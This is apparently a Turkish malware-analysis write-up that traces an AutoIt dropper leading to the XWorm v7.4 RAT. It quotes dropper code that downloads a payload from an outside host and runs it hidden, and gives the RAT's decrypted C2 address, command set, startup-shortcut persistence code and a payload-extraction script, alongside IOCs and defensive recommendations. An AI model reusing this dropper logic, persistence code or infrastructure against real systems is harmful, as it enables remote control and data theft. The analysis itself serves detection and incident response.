Alpha Scramble 2: AutoIt Dropper ile Başlayan XWorm RAT Analizi
Scramble Terminolojisi Hakkında: Bu yazı serisinin isimlendirme mantığı (Alpha, Tango vb. Scramble kodları) hakkında detaylı bilgi almak için Scramble Konsepti yazımı okuyabilirsiniz.
Bu yazımızda MalwareBazaar’dan elde ettiğimiz bir zararlı yazılımın uçtan uca enfeksiyon zincirini (attack chain) ve nihai payload olan XWorm v7.4 RAT‘ın fonksiyonel yeteneklerini tersine mühendislik yaklaşımıyla ortaya koyacağız.
Zincir; derlenmiş bir AutoIt dropper ile başlayıp, geçici dizine InformationCheck.exe (AutoIt interpreter bileşeni) bırakılması ve bunun da sisteme XWormClient.exe‘yi kurmasıyla tamamlanmaktadır. Zincir ayrıca bir web aşaması içerir: dropper, yandlinks.com üzerindeki bir HTML dosyasını indirerek bunu interpreter’a argüman olarak geçirir.
İncelenen Artefact’lar
| Artifact | Açıklama | SHA256 |
|---|---|---|
e2b2fb8b...exe | MalwareBazaar’dan alınan başlangıç örneği (derlenmiş AutoIt dropper) | e2b2fb8b0baffa0b3104ebd6da6de4f6b102b8f26d3828afa4e726e661be2702 |
InformationCheck.exe | Dropper’ın %TEMP% altına yazdığı AutoIt interpreter bileşeni | 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d |
XWormClient.exe | Nihai payload — XWorm v7.4 RAT | 7b85dff2263d08ce6e5ea4976979e8f81ccc71c437d1ea50998f199f40be5d7f |
yOIJnMrwu.html | Dropper’ın indirdiği HTML — içinde XWormClient gömülü | http://yandlinks.com/yOIJnMrwu.html |
Referans linkleri:
- MalwareBazaar — Başlangıç Örneği
- VirusTotal — Başlangıç Örneği
- VirusTotal — InformationCheck.exe
- VirusTotal — XWormClient.exe
Stage-1: AutoIt Dropper
1.1 Temel Dosya Bilgileri
Dosya: e2b2fb8b0baffa0b3104ebd6da6de4f6b102b8f26d3828afa4e726e661be2702.exe
| Özellik | Değer |
|---|---|
| Boyut | 1,902,592 bytes |
| MD5 | 6f2ea7b844c52b12c8a308686259e322 |
| SHA256 | e2b2fb8b0baffa0b3104ebd6da6de4f6b102b8f26d3828afa4e726e661be2702 |
| Format | Windows PE (AutoIt 3.X) |
| Entropy | 7.35 |
Detect It Easy çıktısı:
String analizinden çıkarılabilen anlamlı değerler:
1
2
3
HttpOpenRequestW
HttpQueryInfoW
HttpSendRequestW
Bu stringler, dosyanın WinINet tabanlı HTTP iletişimi gerçekleştirdiğine işaret etmektedir. Bağlam değerlendirildiğinde; downloader, loader veya C2 haberleşmesi işlevlerinden en az birini yerine getirdiği anlaşılmaktadır.
1.2 AutoIt Script Çıkarımı
Dosya biçiminin AutoIt olduğu tespit edilince, gömülü payload araştırması için Python tabanlı bir AutoIt extractor kullanıldı:
Kaynak veriye ulaşılabildiği görülünce içerik kaydedilerek Notepad++ ile açıldı:
Şifreli kısım haricinde scriptin yaptıkları şu şekilde özetlenebilir:
1) Gömülü payload’u çıkarır ve diske yazar:
Local $bin = Binary($skkajaidahdffdg)
$outputfilepath = @TempDir & "\InformationCheck.exe"
FileOpen(..., 0x12) ; create + overwrite
FileWrite(..., $bin)
FileClose(...)
$skkajaidahdffdg değişkenindeki hex blob, Binary() fonksiyonu ile ham byte’a dönüştürülür ve %TEMP%\InformationCheck.exe olarak diske yazılır.
2) C2 sunucusundan bir HTML dosyası indirir:
$url = "http://yandlinks.com/yOIJnMrwu.html"
$outputfile = @TempDir & "\Details.html"
HttpSetUserAgent("Mozilla/5.0 ... Chrome/120.0.0.0")
InetGet($url, $outputfile, $INET_FORCERELOAD)
3) Kısa rastgele bir bekleme süresi ekler (anti-sandbox):
Sleep(Random(0x5dc, 0xbb8, 0x1)) ; 1500–3000 ms
4) Payload’u HTML dosyasını argüman olarak geçerek gizlice çalıştırır:
Func _PERFORMFINALACTION($sexe, $sarg)
ShellExecute($sexe, '"' & $sarg & '"', "", "open", @SW_HIDE)
EndFunc
InformationCheck.exe, @SW_HIDE ile görünmeden çalıştırılır ve Details.html argüman olarak geçilir.
Not: Script başında ve sonunda aynı blokların tekrar etmesi, copy-paste kaynaklı basit bir obfuscation tekniğidir. İşlevsel bir fark bulunmamaktadır.
Stage-2: InformationCheck.exe
Detect It Easy ile yapılan inceleme:
Detect It Easy — InformationCheck.exe
InformationCheck.exe, statik incelemede gömülü özel bir AutoIt scripti içeren bağımsız bir compiled payload olarak değil, AutoIt3.exe tabanlı bir interpreter bileşeni olarak değerlendirilmiştir. Bunu destekleyen bulgular:
- Dosya metadata’sında
InternalNameveOriginalFilenamealanlarının değeri:AutoIt3.exe - İçinde
/AutoIt3ExecuteScriptve benzeri script yürütme string’leri mevcut - Gömülü bir
SCRIPTresource’u tespit edilemedi
Bu nedenle InformationCheck.exe, asıl zararlı mantığı taşıyan bileşen değil; Details.html içindeki sonraki aşamayı yürütmek üzere bırakılmış bir interpreter wrapper’ı olarak değerlendirilmektedir.
ANY.RUN analizi de bu sonucu destekler nitelikte herhangi bir zararlı davranış rapor etmemiştir.
2.1 C2 Sunucusu ve HTML Payload
Dropper’ın indirdiği yOIJnMrwu.html dosyası incelendiğinde obfuscated bir içerikle karşılaşılmaktadır:
yOIJnMrwu.html — Obfuscated İçerik
Encoding algoritması:
String içindeki sayılar ] karakterine göre bölünür. Örnek:
1
"111]105]118]114]105]112]55]54]50]104]112]112"
Her sayıdan sabit bir değer (36/9 = 4) çıkarılır, sonuç ASCII karaktere dönüştürülür — yani Chr(n - 4).
| Encoded | Decoded | Karakter |
|---|---|---|
| 111 | 107 | k |
| 105 | 101 | e |
| 118 | 114 | r |
| 114 | 110 | n |
| 105 | 101 | e |
| 112 | 108 | l |
| 55 | 51 | 3 |
| 54 | 50 | 2 |
| 50 | 46 | . |
| 104 | 100 | d |
| 112 | 108 | l |
| 112 | 108 | l |
Sonuç: kernel32.dll
Formül özetle:
1
decoded_char = Chr(encoded_number - key)
Algoritmanın çözülmesinin ardından payload’u HTML’den dışarı almak için aşağıdaki script yazılmıştır:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import re
from pathlib import Path
details_path = Path("yOIJnMrwu.html")
out_path = Path("payload_extracted.exe")
txt = details_path.read_text(errors="ignore")
parts = re.findall(r"\$SplitVv\s*(?:=|&=)\s*'([^']*)'", txt, flags=re.I)
if not parts:
raise SystemExit("SplitVv parçaları bulunamadı.")
hexstr = "".join(parts).strip()
if hexstr.lower().startswith("0x"):
hexstr = hexstr[2:]
payload = bytes.fromhex(hexstr)
if not payload.startswith(b"MZ"):
raise SystemExit("Çıkan data MZ ile başlamıyor. Regex/isim farklı olabilir.")
out_path.write_bytes(payload)
print(f"[+] Yazıldı: {out_path} ({len(payload)} bytes)")
Stage-3: XWorm v7.4 RAT
XWormClient.exe — Detect It Easy
XWormClient.exe — String Analizi
| Özellik | Değer |
|---|---|
| Boyut | 34,816 bytes |
| Tür | PE32 GUI + .NET (CLR v4.0.30319) |
| Assembly Name | XWormClient |
| Dil | VB.NET |
.NET binary olduğu görülünce dnSpy ile decompile edilerek kod analizi yapıldı:
3.1 İç Yapı — Sınıflar ve Fonksiyonlar
Dosyada 17 TypeDef bulunmaktadır; asıl iş Stub namespace’i altındaki sınıflar tarafından yürütülmektedir.
Stub.Main
Olası giriş noktası: mutex kontrolü, config yükleme ve ClientSocket.BeginConnect() tetiklemesi gibi bootstrap işlemleri buradan yönetilmektedir.
Stub.ClientSocket — Ağ, Host Profil ve Keepalive
| Metod | Açıklama |
|---|---|
BeginConnect() / ConnectServer() | C2’ye bağlanma |
BeginReceive() / BeginRead() | Soketten okuma döngüsü |
Send() / EndSend() | Veri gönderimi |
isDisconnected() | Bağlantı sağlığı kontrolü |
Ping() / Pong() | Keepalive / heartbeat |
Info() | Sistem bilgisi paketleme |
Antivirus() | WMI SecurityCenter2 üzerinden AV/EDR tespiti |
GPU() / CPU() / RAM() | Donanım profili |
UAC() | UAC durumu veya bypass mantığı |
Spread() | Yayılma (propagation) modülü |
Importlistesinde klasikCreateRemoteThreadgörünmüyor olması, injection olmadığı anlamına gelmez. XWorm’lar çoğunlukla normal process execute + komutla plugin yaklaşımını benimser. Ayrıca binary içindeinjRunstring’i mevcuttur — injection tabanlı bir çalıştırma yolunun opsiyonel olarak desteklendiğine işaret etmektedir.
Stub.Messages — C2 Komut Dispatcher
| Metod | Açıklama |
|---|---|
Read() | Gelen paketi parse edip komutlara dispatch etme (merkez) |
SendMSG() / SendError() | C2’ye çıktı/telemetri/hata gönderimi |
Plugin() | Plugin loader/runner |
Monitoring() | Ekran/aktivite izleme |
OpenUrl() | Urlopen / Urlhide komut ailesi |
Cam() | Kamera modülü |
RunDisk() | Disk üzerinde çalıştırma (drop + run) |
Memory() | Process/bellek operasyonları |
Messages içinde ayrıca powershell.exe, ProcessStartInfo, RunShell string’leri mevcuttur — C2 komutları aracılığıyla shell ve PowerShell çalıştırma desteğini göstermektedir.
Stub.AlgorithmAES — Config/Komut Şifreleme
Decrypt() metodu, config ve C2 string’lerini çözmek için kullanılmaktadır.
Stub.Helper — Yardımcı Fonksiyonlar
| Metod | Açıklama |
|---|---|
GetLastInputTime() / LastAct() | Son kullanıcı aktivitesi / idle time |
GetActiveWindowTitle() | Ön plandaki pencere başlığını okuma |
PreventSleep() | SetThreadExecutionState ile uyku modunu engelleme |
Compress() / Decompress() | Paket sıkıştırma |
AES_Encryptor() / AES_Decryptor() | Mesaj şifreleme katmanı |
SetValue() / GetValue() | Registry okuma/yazma (Software\ altında) |
CreateMutex() / CloseMutex() | Tek instance kontrolü |
IsValidDomainName(), GetRandomString(), GetHashT() | Kimlik üretimi ve ID hashing |
Helper static constructor’ında birden fazla User-Agent string’i tanımlanmıştır (Firefox, iPhone Safari, Chrome) — HTTP isteklerinde UA spoofing yapıldığına işaret etmektedir.
Stub.Uninstaller
UNS() metodu: kendini kaldırma ve persistence temizliği.
3.2 Config Şifre Çözme
C2 adresi, port gibi kritik değerler bu örnekte plain string olarak bulunmamaktadır. Settings sınıfının .cctor‘ında AES ile şifrelenmiş Base64 blob’lar yüklenmektedir.
Settings — Şifreli Config Blob’ları
Key türetme mekanizması:
Settings.Mutex string’i UTF-8 olarak encode edilerek MD5 hash’i hesaplanır (16 byte). Ardından 32 byte’lık AES key şu şekilde oluşturulur:
1
2
3
Array.Copy(md5, 0, key32, 0, 16); // key[0..15] = md5[0..15]
Array.Copy(md5, 0, key32, 15, 16); // key[15..30] = md5[0..15] ← 15'ten başlıyor
// key[31] = 0x00 (boş kalıyor)
Bu kopyalama hatası sonucunda key[15] değeri md5[0] ile ezilmektedir; ECB modu kullanımıyla birlikte config extraction’ı kolaylaştırmaktadır.
Algoritma: RijndaelManaged (AES) · ECB modu · PKCS7 padding · Base64 → decrypt → string
Seed: 1w2rTMtnUzDsC3SD (Settings.Mutex)
Tüm blob’ların çözülmüş hali:
| Base64 | Plaintext | Anlam |
|---|---|---|
bDfXsafOgjg+4u1jHQXAtA== | 172.94.15.100 | C2 Host (IP) |
OAvOIiaQZb49b1XrXNegIQ== | 6070 | C2 Port |
ElOIVcGtyNJ/dJkzlFVFQw== | <123456789> | Campaign/Builder ID |
q9saKoW+gdXGl+hXXB0hCA== | <Xwormmm> | Group/Tag |
INtKyh2jdNfY50Dqc0QWzQ== | XWorm V7.4 | Family + Version |
dHcpGdzlfAELXjxkYcu8BQ== | USB.exe | Yayılma/persistence kopyası adı |
lb9/Y4vNpKvC3JvGrMJN2Q== | %AppData% | Kurulum dizini |
EsvW96Q1w/8JpDjK0cKDkQ== | XWormClient.exe | Kurulacak dosya adı |
3.3 C2 Bağlantısı ve İlk Beacon
Bağlantı kurulumu:
1
2
3
string host = randomPick(Settings.Hosts.Split(','));
if (domain) resolve DNS; else connect raw IP;
S.Connect(host, int(Settings.Port));
İlk beacon (INFO paketi):
1
"INFO" + SPL + HWID + SPL + UserName + SPL + OS + Arch + SPL + Group + ...
C2’ye bağlanır bağlanmaz aşağıdaki sistem profili gönderilmektedir:
- HWID (
Helper.ID()) - Kullanıcı adı
- İşletim sistemi ve mimari (32/64 bit)
- Kampanya grubu (
<Xwormmm>) - Kurulum tarihi, yayılma durumu
- UAC, kamera, CPU, GPU, RAM, AV bilgisi
HWID üretimi deterministik olarak hesaplanmaktadır:
1
2
3
4
GetHashT(
ProcessorCount + UserName + MachineName +
OSVersion + SystemDriveTotalSize
)
Bu HWID hem INFO beacon’ında C2’ye gönderilmekte hem de plugin registry path’inin oluşturulmasında kullanılmaktadır.
3.4 Komut Seti (Messages.Read)
Komutlar Settings.SPL ile ayrılmakta ve aşağıdaki dispatch tablosuna göre işlenmektedir:
Session / Lifecycle
| Komut | Açıklama |
|---|---|
pong | Keepalive / latency ölçümü |
rec | Yeniden başlat (Application.Restart) |
CLOSE | Socket kapat ve çıkış yap |
uninstall | Kendini kaldır |
update | Güncelle (payload decompress + replace) |
Payload Execution
| Komut | Açıklama |
|---|---|
DW | Diske yaz ve çalıştır |
FM | Memory execution |
LN | Download & Execute — WebClient.DownloadFile + Process.Start |
Sistem Kontrolü
| Komut | Açıklama |
|---|---|
PCShutdown / PCRestart / PCLogoff | Güç yönetimi komutları |
RunShell | Arbitrary komut çalıştırma (cmd) |
Urlopen / Urlhide | URL açma (görünür/gizli) |
StartDDos / StopDDos | DDoS başlatma/durdurma |
StartReport / StopReport | Raporlama başlatma/durdurma |
Xchat | C2’ye HWID ile chat bildirimi |
Hosts Dosyası
| Komut | Açıklama |
|---|---|
Hosts | C:\Windows\System32\drivers\etc\hosts içeriğini C2’ye gönderir |
Shosts | Hosts dosyasını değiştirir (yüksek risk) |
Plugin Subsystem
| Komut | Açıklama |
|---|---|
plugin | Registry cache kontrol — yoksa C2’den talep et (sendPlugin) |
savePlugin | C2’den gelen Base64 plugin’i REG_BINARY olarak yaz ve çalıştır |
RemovePlugins | Registry key’lerini temizle |
Ekran ve Keylogger
| Komut | Açıklama |
|---|---|
$Cap | Ekran görüntüsü al (256×156 thumbnail, JPEG, compress, Base64) → #CAP marker ile gönder |
OfflineGet | Offline keylogger sorgulama |
3.5 Persistence ve Self-Install
Kurulum:
1
2
3
string dst = Settings.InstallDir + "\\" + Settings.InstallStr;
// → %AppData%\XWormClient.exe
File.WriteAllBytes(dst, File.ReadAllBytes(Helper.current));
Startup LNK ile kalıcılık:
1
2
string lnk = StartupFolder + "\\" + Path.GetFileNameWithoutExtension(Settings.InstallStr) + ".lnk";
WScript.Shell.CreateShortcut(lnk).TargetPath = dst;
LNK dosyası oluşturulduktan sonra fileStream açık tutulur — bu, dosyanın silinmesini zorlaştırmak için uygulanan bir kilit mekanizmasıdır.
Anti-sandbox bekleme:
1
Thread.Sleep(checked(Settings.Sleep * 1000));
Builder’dan gelen Sleep değeri kadar beklenerek sandbox’larda kısa execution süresine dayalı tespitlerden kaçınılmaktadır.
3.6 Plugin Registry Artefact’ı
1
public static readonly string PL = "Software\\" + Helper.ID();
Plugin’ler disk yerine registry’e REG_BINARY olarak önbelleğe alınmaktadır:
- Registry path:
HKCU\Software\<HWID_HASH> - Value type:
REG_BINARY - Data: Compressed plugin blob
IR sürecinde diskte plugin dosyası aranmak yerine bu registry key kontrol edilmelidir.
IOC Seti
Network
| Tip | Değer | Açıklama |
|---|---|---|
| URL | http://yandlinks.com/yOIJnMrwu.html | Dropper’ın indirdiği HTML payload |
| C2 | 172.94.15.100:6070/TCP | XWorm C2 sunucusu |
Host Artefact’ları
| Tip | Değer | Açıklama |
|---|---|---|
| Mutex | 1w2rTMtnUzDsC3SD | Tek instance kontrolü |
| Drop path | %TEMP%\InformationCheck.exe | Dropper’ın yazdığı interpreter |
| Drop path | %TEMP%\Details.html | İndirilen HTML payload |
| Install path | %AppData%\XWormClient.exe | Nihai payload |
| Persistence | %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\XWormClient.lnk | Startup LNK |
| Registry | HKCU\Software\<HWID_HASH> | Plugin önbelleği |
| Hosts file | C:\Windows\System32\drivers\etc\hosts | Read/Write destekli |
Protokol Marker’ları
| Marker | Konum | Anlam |
|---|---|---|
INFO | C2 initial beacon | Host profil gönderimi |
#CAP | Screenshot paketi | Ekran görüntüsü |
sendPlugin | Plugin yoksa | C2’den plugin talebi |
plugin / savePlugin | Plugin akışı | Cache + execute |
DW / FM / LN | Payload execution | Disk/Mem/Download&Exec |
RunShell | Remote komut | Shell çalıştırma |
HTTP User-Agent Spoofing
Stub.Helper.userAgents listesinde tanımlı User-Agent string’leri:
1
2
3
Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0
Mozilla/5.0 (iPhone; CPU iPhone OS 11_4_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.0 Mobile/15E148 Safari/604.1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
MITRE ATT&CK Eşlemesi
| MITRE ID | Teknik | Gözlemleyen Bileşen |
|---|---|---|
| T1012 | Query Registry | Plugin cache okuma |
| T1027 | Obfuscated Files or Information | HTML encoding, AutoIt packing |
| T1033 | System Owner/User Discovery | Info() beacon — kullanıcı adı |
| T1047 | Windows Management Instrumentation | Antivirus() — SecurityCenter2 |
| T1057 | Process Discovery | Monitoring() |
| T1070 | Indicator Removal | Uninstaller.UNS() |
| T1082 | System Information Discovery | Info() beacon — OS, CPU, RAM |
| T1083 | File and Directory Discovery | RunDisk() |
| T1087 | Account Discovery | UserName toplama |
| T1105 | Ingress Tool Transfer | LN komutu (Download & Execute) |
| T1112 | Modify Registry | Plugin cache yazma |
| T1113 | Screen Capture | $Cap komutu |
| T1140 | Deobfuscate/Decode Files or Information | AES config decrypt, HTML decode |
| T1213 | Data from Information Repositories | Hosts dosyası okuma |
| T1518 | Software Discovery | AV tespiti |
| T1547 | Boot or Logon Autostart Execution | Startup LNK |
| T1560 | Archive Collected Data | Compress() / Decompress() |
| T1620 | Reflective Code Loading | FM (memory execution) |
Enfeksiyon Zinciri
Sonuç
Analiz edilen örnek, XWorm v7.4 tabanlı tam yetenekli bir RAT olup aşağıdaki yetenekleri bünyesinde barındırmaktadır:
- Uzaktan komut çalıştırma
- Dosya indirme ve çalıştırma
- Modüler plugin yükleme (runtime genişletme)
- Hosts dosyası manipülasyonu
- DDoS başlatma
- Sistem kontrol komutları
- Ekran görüntüsü alma
- AES şifreli C2 iletişimi
Plugin mimarisi sayesinde saldırganlar zararlıyı dinamik olarak genişletebilmekte ve yeni yetenekleri runtime’da yükleyebilmektedir. Bu nedenle sistemde tespit edilen örnek yüksek riskli olarak değerlendirilmiştir.
Öneriler
- Ağ seviyesinde
172.94.15.100:6070bağlantıları engellenmeli, loglanmalı ve alarm üretmelidir. yandlinks.comdomain’i DNS/proxy katmanında bloklanmalıdır.- EDR/AV çözümleri, AutoIt tabanlı packed executable’ları ve
%TEMP%‘e drop edilen ikili dosyaları izlemelidir. %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\altındaki beklenmedik.lnkdosyaları periyodik olarak kontrol edilmelidir.HKCU\Software\<rastgele hash>formatındaki registry key’leri REG_BINARY veri içeriyorsa şüpheyle yaklaşılmalıdır.











